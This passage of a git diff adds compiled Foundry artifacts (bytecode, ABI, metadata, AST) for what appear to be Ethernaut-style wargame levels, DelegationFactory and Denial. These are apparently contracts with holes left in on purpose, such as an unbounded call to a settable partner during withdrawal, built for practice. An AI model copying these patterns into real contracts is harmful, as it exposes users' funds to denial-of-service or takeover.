owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DelegationFactory.sol":"DelegationFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Delegation.sol":{"keccak256":"0x25716599c51153d0049c60fc57e189baeab95f360c9b136b397d609260f2b716","urls":["bzz-raw://ea06e7fa81b5e55e371f1b2aeef2f996662501ee40874abd0d19243389e670f3","dweb:/ipfs/QmQUirdszW4fPAV9hmyNFhDzrTsPvM63mCBfor7rYn1gYL"],"license":"MIT"},"src/levels/DelegationFactory.sol":{"keccak256":"0x9dbef0c87d0701a1b4d3e13a3e478af1cf1a4e5418507c0c8ffde2dc95c17c5a","urls":["bzz-raw://64fcec6468631b8c5d49f6852cd8c3ed845005372fefa0d3fcdb545e5201659f","dweb:/ipfs/QmNuuQude9reyAdTqgG4irnD1Efqdf5VAmZf2cQWLvRE2n"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DelegationFactory.sol","id":50376,"exportedSymbols":{"Context":[48281],"Delegate":[50251],"Delegation":[50294],"DelegationFactory":[50375],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:699:64","nodes":[{"id":50296,"nodeType":"PragmaDirective","src":"33:23:64","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50297,"nodeType":"ImportDirective","src":"58:26:64","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":50376,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":50298,"nodeType":"ImportDirective","src":"85:26:64","nodes":[],"absolutePath":"src/levels/Delegation.sol","file":"./Delegation.sol","nameLocation":"-1:-1:-1","scope":50376,"sourceUnit":50295,"symbolAliases":[],"unitAlias":""},{"id":50375,"nodeType":"ContractDefinition","src":"113:618:64","nodes":[{"id":50302,"nodeType":"VariableDeclaration","src":"155:23:64","nodes":[],"constant":false,"mutability":"mutable","name":"delegateAddress","nameLocation":"163:15:64","scope":50375,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50301,"name":"address","nodeType":"ElementaryTypeName","src":"155:7:64","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":50325,"nodeType":"FunctionDefinition","src":"185:126:64","nodes":[],"body":{"id":50324,"nodeType":"Block","src":"199:112:64","nodes":[],"statements":[{"assignments":[50307],"declarations":[{"constant":false,"id":50307,"mutability":"mutable","name":"newDelegate","nameLocation":"218:11:64","nodeType":"VariableDeclaration","scope":50324,"src":"209:20:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"},"typeName":{"id":50306,"nodeType":"UserDefinedTypeName","pathNode":{"id":50305,"name":"Delegate","nameLocations":["209:8:64"],"nodeType":"IdentifierPath","referencedDeclaration":50251,"src":"209:8:64"},"referencedDeclaration":50251,"src":"209:8:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"visibility":"internal"}],"id":50316,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30","id":50313,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"253:1:64","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":50312,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"245:7:64","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50311,"name":"address","nodeType":"ElementaryTypeName","src":"245:7:64","typeDescriptions":{}}},"id":50314,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"245:10:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50310,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"232:12:64","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Delegate_$50251_$","typeString":"function (address) returns (contract Delegate)"},"typeName":{"id":50309,"nodeType":"UserDefinedTypeName","pathNode":{"id":50308,"name":"Delegate","nameLocations":["236:8:64"],"nodeType":"IdentifierPath","referencedDeclaration":50251,"src":"236:8:64"},"referencedDeclaration":50251,"src":"236:8:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}}},"id":50315,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"232:24:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}},"nodeType":"VariableDeclarationStatement","src":"209:47:64"},{"expression":{"id":50322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":50317,"name":"delegateAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50302,"src":"266:15:64","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":50320,"name":"newDelegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50307,"src":"292:11:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegate_$50251","typeString":"contract Delegate"}],"id":50319,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"284:7:64","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50318,"name":"address","nodeType":"ElementaryTypeName","src":"284:7:64","typeDescriptions":{}}},"id":50321,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"284:20:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"266:38:64","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50323,"nodeType":"ExpressionStatement","src":"266:38:64"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":50303,"nodeType":"ParameterList","parameters":[],"src":"196:2:64"},"returnParameters":{"id":50304,"nodeType":"ParameterList","parameters":[],"src":"199:0:64"},"scope":50375,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50350,"nodeType":"FunctionDefinition","src":"317:200:64","nodes":[],"body":{"id":50349,"nodeType":"Block","src":"400:117:64","nodes":[],"statements":[{"expression":{"id":50333,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50327,"src":"410:7:64","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50334,"nodeType":"ExpressionStatement","src":"410:7:64"},{"assignments":[50337],"declarations":[{"constant":false,"id":50337,"mutability":"mutable","name":"parity","nameLocation":"438:6:64","nodeType":"VariableDeclaration","scope":50349,"src":"427:17:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"},"typeName":{"id":50336,"nodeType":"UserDefinedTypeName","pathNode":{"id":50335,"name":"Delegation","nameLocations":["427:10:64"],"nodeType":"IdentifierPath","referencedDeclaration":50294,"src":"427:10:64"},"referencedDeclaration":50294,"src":"427:10:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"visibility":"internal"}],"id":50343,"initialValue":{"arguments":[{"id":50341,"name":"delegateAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50302,"src":"462:15:64","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"447:14:64","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_Delegation_$50294_$","typeString":"function (address) returns (contract Delegation)"},"typeName":{"id":50339,"nodeType":"UserDefinedTypeName","pathNode":{"id":50338,"name":"Delegation","nameLocations":["451:10:64"],"nodeType":"IdentifierPath","referencedDeclaration":50294,"src":"451:10:64"},"referencedDeclaration":50294,"src":"451:10:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}}},"id":50342,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"447:31:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"nodeType":"VariableDeclarationStatement","src":"427:51:64"},{"expression":{"arguments":[{"id":50346,"name":"parity","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50337,"src":"503:6:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}],"id":50345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"495:7:64","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50344,"name":"address","nodeType":"ElementaryTypeName","src":"495:7:64","typeDescriptions":{}}},"id":50347,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"495:15:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":50332,"id":50348,"nodeType":"Return","src":"488:22:64"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"326:14:64","overrides":{"id":50329,"nodeType":"OverrideSpecifier","overrides":[],"src":"373:8:64"},"parameters":{"id":50328,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50327,"mutability":"mutable","name":"_player","nameLocation":"349:7:64","nodeType":"VariableDeclaration","scope":50350,"src":"341:15:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50326,"name":"address","nodeType":"ElementaryTypeName","src":"341:7:64","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"340:17:64"},"returnParameters":{"id":50332,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50331,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50350,"src":"391:7:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50330,"name":"address","nodeType":"ElementaryTypeName","src":"391:7:64","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"390:9:64"},"scope":50375,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":50374,"nodeType":"FunctionDefinition","src":"523:206:64","nodes":[],"body":{"id":50373,"nodeType":"Block","src":"629:100:64","nodes":[],"statements":[{"assignments":[50362],"declarations":[{"constant":false,"id":50362,"mutability":"mutable","name":"parity","nameLocation":"650:6:64","nodeType":"VariableDeclaration","scope":50373,"src":"639:17:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"},"typeName":{"id":50361,"nodeType":"UserDefinedTypeName","pathNode":{"id":50360,"name":"Delegation","nameLocations":["639:10:64"],"nodeType":"IdentifierPath","referencedDeclaration":50294,"src":"639:10:64"},"referencedDeclaration":50294,"src":"639:10:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"visibility":"internal"}],"id":50366,"initialValue":{"arguments":[{"id":50364,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50352,"src":"670:9:64","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":50363,"name":"Delegation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50294,"src":"659:10:64","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Delegation_$50294_$","typeString":"type(contract Delegation)"}},"id":50365,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"659:21:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"nodeType":"VariableDeclarationStatement","src":"639:41:64"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":50371,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":50367,"name":"parity","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50362,"src":"697:6:64","typeDescriptions":{"typeIdentifier":"t_contract$_Delegation_$50294","typeString":"contract Delegation"}},"id":50368,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"704:5:64","memberName":"owner","nodeType":"MemberAccess","referencedDeclaration":50253,"src":"697:12:64","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":50369,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"697:14:64","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":50370,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50354,"src":"715:7:64","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"697:25:64","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":50359,"id":50372,"nodeType":"Return","src":"690:32:64"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"532:16:64","overrides":{"id":50356,"nodeType":"OverrideSpecifier","overrides":[],"src":"605:8:64"},"parameters":{"id":50355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50352,"mutability":"mutable","name":"_instance","nameLocation":"565:9:64","nodeType":"VariableDeclaration","scope":50374,"src":"549:25:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":50351,"name":"address","nodeType":"ElementaryTypeName","src":"549:15:64","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":50354,"mutability":"mutable","name":"_player","nameLocation":"584:7:64","nodeType":"VariableDeclaration","scope":50374,"src":"576:15:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50353,"name":"address","nodeType":"ElementaryTypeName","src":"576:7:64","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"548:44:64"},"returnParameters":{"id":50359,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50358,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50374,"src":"623:4:64","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50357,"name":"bool","nodeType":"ElementaryTypeName","src":"623:4:64","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"622:6:64"},"scope":50375,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50299,"name":"Level","nameLocations":["143:5:64"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"143:5:64"},"id":50300,"nodeType":"InheritanceSpecifier","src":"143:5:64"}],"canonicalName":"DelegationFactory","contractDependencies":[50251,50294],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[50375,55508,46700,48281],"name":"DelegationFactory","nameLocation":"122:17:64","scope":50376,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":64} \ No newline at end of file diff --git a/contracts/out/Denial.sol/Denial.json b/contracts/out/Denial.sol/Denial.json new file mode 100644 index 000000000..eee645b1d --- /dev/null +++ b/contracts/out/Denial.sol/Denial.json @@ -0,0 +1 @@ +{"abi":[{"type":"receive","stateMutability":"payable"},{"type":"function","name":"contractBalance","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"partner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"setWithdrawPartner","inputs":[{"name":"_partner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"withdraw","inputs":[],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5061029e8061001d5f395ff3fe60806040526004361061005b575f3560e01c80638b7afe2e116100415780638b7afe2e146100cf5780638da5cb5b146100ee578063be10862b1461011b575f80fd5b80633ccfd60b146100665780634e1c59141461007c575f80fd5b3661006257005b5f80fd5b348015610071575f80fd5b5061007a610139565b005b348015610087575f80fd5b5061007a6100963660046101f7565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3480156100da575f80fd5b506040514781526020015b60405180910390f35b3480156100f9575f80fd5b50610103610a9e81565b6040516001600160a01b0390911681526020016100e5565b348015610126575f80fd5b505f54610103906001600160a01b031681565b5f610145606447610224565b5f80546040519293506001600160a01b031691839181818185875af1925050503d805f811461018f576040519150601f19603f3d011682016040523d82523d5f602084013e610194565b606091505b5050604051610a9e915082156108fc029083905f818181858888f193505050501580156101c3573d5f803e3d5ffd5b50426001555f80546001600160a01b0316815260026020526040812080548392906101ef908490610243565b909155505050565b5f60208284031215610207575f80fd5b81356001600160a01b038116811461021d575f80fd5b9392505050565b5f8261023e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026257634e487b7160e01b5f52601160045260245ffd5b9291505056fea2646970667358221220c80c7ab570f56c0784848d0d1c4246a1fd5eeb7e69a2406c78e5db7a044081cd64736f6c63430008180033","sourceMap":"57:1088:65:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061005b575f3560e01c80638b7afe2e116100415780638b7afe2e146100cf5780638da5cb5b146100ee578063be10862b1461011b575f80fd5b80633ccfd60b146100665780634e1c59141461007c575f80fd5b3661006257005b5f80fd5b348015610071575f80fd5b5061007a610139565b005b348015610087575f80fd5b5061007a6100963660046101f7565b5f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b3480156100da575f80fd5b506040514781526020015b60405180910390f35b3480156100f9575f80fd5b50610103610a9e81565b6040516001600160a01b0390911681526020016100e5565b348015610126575f80fd5b505f54610103906001600160a01b031681565b5f610145606447610224565b5f80546040519293506001600160a01b031691839181818185875af1925050503d805f811461018f576040519150601f19603f3d011682016040523d82523d5f602084013e610194565b606091505b5050604051610a9e915082156108fc029083905f818181858888f193505050501580156101c3573d5f803e3d5ffd5b50426001555f80546001600160a01b0316815260026020526040812080548392906101ef908490610243565b909155505050565b5f60208284031215610207575f80fd5b81356001600160a01b038116811461021d575f80fd5b9392505050565b5f8261023e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026257634e487b7160e01b5f52601160045260245ffd5b9291505056fea2646970667358221220c80c7ab570f56c0784848d0d1c4246a1fd5eeb7e69a2406c78e5db7a044081cd64736f6c63430008180033","sourceMap":"57:1088:65:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;481:461;;;;;;;;;;;;;:::i;:::-;;339:88;;;;;;;;;;-1:-1:-1;339:88:65;;;;;:::i;:::-;402:7;:18;;;;-1:-1:-1;;;;;402:18:65;;;;;;;;;;339:88;1041:102;;;;;;;;;;-1:-1:-1;1041:102:65;;1115:21;474:25:155;;462:2;447:18;1041:102:65;;;;;;;;163:46;;;;;;;;;;;;203:5;163:46;;;;;-1:-1:-1;;;;;674:55:155;;;656:74;;644:2;629:18;163:46:65;510:226:155;79:22:65;;;;;;;;;;-1:-1:-1;79:22:65;;;;-1:-1:-1;;;;;79:22:65;;;481:461;518:20;541:27;565:3;541:21;:27;:::i;:::-;702:7;;;:37;;518:50;;-1:-1:-1;;;;;;702:7:65;;518:50;;702:37;:7;:37;518:50;702:7;:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;749:37:65;;203:5;;-1:-1:-1;749:37:65;;;;;773:12;;749:37;;;;773:12;203:5;749:37;;;;;;;;;;;;;;;;;;;;-1:-1:-1;862:15:65;842:17;:35;887:32;911:7;;-1:-1:-1;;;;;911:7:65;887:32;;:23;:32;;;;;:48;;923:12;;887:32;:48;;923:12;;887:48;:::i;:::-;;;;-1:-1:-1;;;481:461:65:o;14:309:155:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;-1:-1:-1;;;;;224:5:155;220:54;213:5;210:65;200:93;;289:1;286;279:12;200:93;312:5;14:309;-1:-1:-1;;;14:309:155:o;741:274::-;781:1;807;797:189;;-1:-1:-1;;;839:1:155;832:88;943:4;940:1;933:15;971:4;968:1;961:15;797:189;-1:-1:-1;1000:9:155;;741:274::o;1230:279::-;1295:9;;;1316:10;;;1313:190;;;-1:-1:-1;;;1356:1:155;1349:88;1460:4;1457:1;1450:15;1488:4;1485:1;1478:15;1313:190;1230:279;;;;:::o","linkReferences":{}},"methodIdentifiers":{"contractBalance()":"8b7afe2e","owner()":"8da5cb5b","partner()":"be10862b","setWithdrawPartner(address)":"4e1c5914","withdraw()":"3ccfd60b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"contractBalance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"partner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_partner\",\"type\":\"address\"}],\"name\":\"setWithdrawPartner\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Denial.sol\":\"Denial\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Denial.sol\":{\"keccak256\":\"0x53e7e264718d21a89f046473e5bb5c1330ab11c7a52f16d58dba10206b4d49c0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://79df26e13c2bdfcd90047dde5296762dbeff36177354ffee2ef6506db1bf27fd\",\"dweb:/ipfs/Qmb3dqmtRnxUjccbSa7EUuRg5MH9vdN9Hu8HTYRWhthtyM\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"contractBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"partner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[{"internalType":"address","name":"_partner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setWithdrawPartner"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"withdraw"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Denial.sol":"Denial"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Denial.sol":{"keccak256":"0x53e7e264718d21a89f046473e5bb5c1330ab11c7a52f16d58dba10206b4d49c0","urls":["bzz-raw://79df26e13c2bdfcd90047dde5296762dbeff36177354ffee2ef6506db1bf27fd","dweb:/ipfs/Qmb3dqmtRnxUjccbSa7EUuRg5MH9vdN9Hu8HTYRWhthtyM"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Denial.sol","id":50460,"exportedSymbols":{"Denial":[50459]},"nodeType":"SourceUnit","src":"32:1114:65","nodes":[{"id":50377,"nodeType":"PragmaDirective","src":"32:23:65","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50459,"nodeType":"ContractDefinition","src":"57:1088:65","nodes":[{"id":50379,"nodeType":"VariableDeclaration","src":"79:22:65","nodes":[],"constant":false,"functionSelector":"be10862b","mutability":"mutable","name":"partner","nameLocation":"94:7:65","scope":50459,"stateVariable":true,"storageLocation":"default","typeD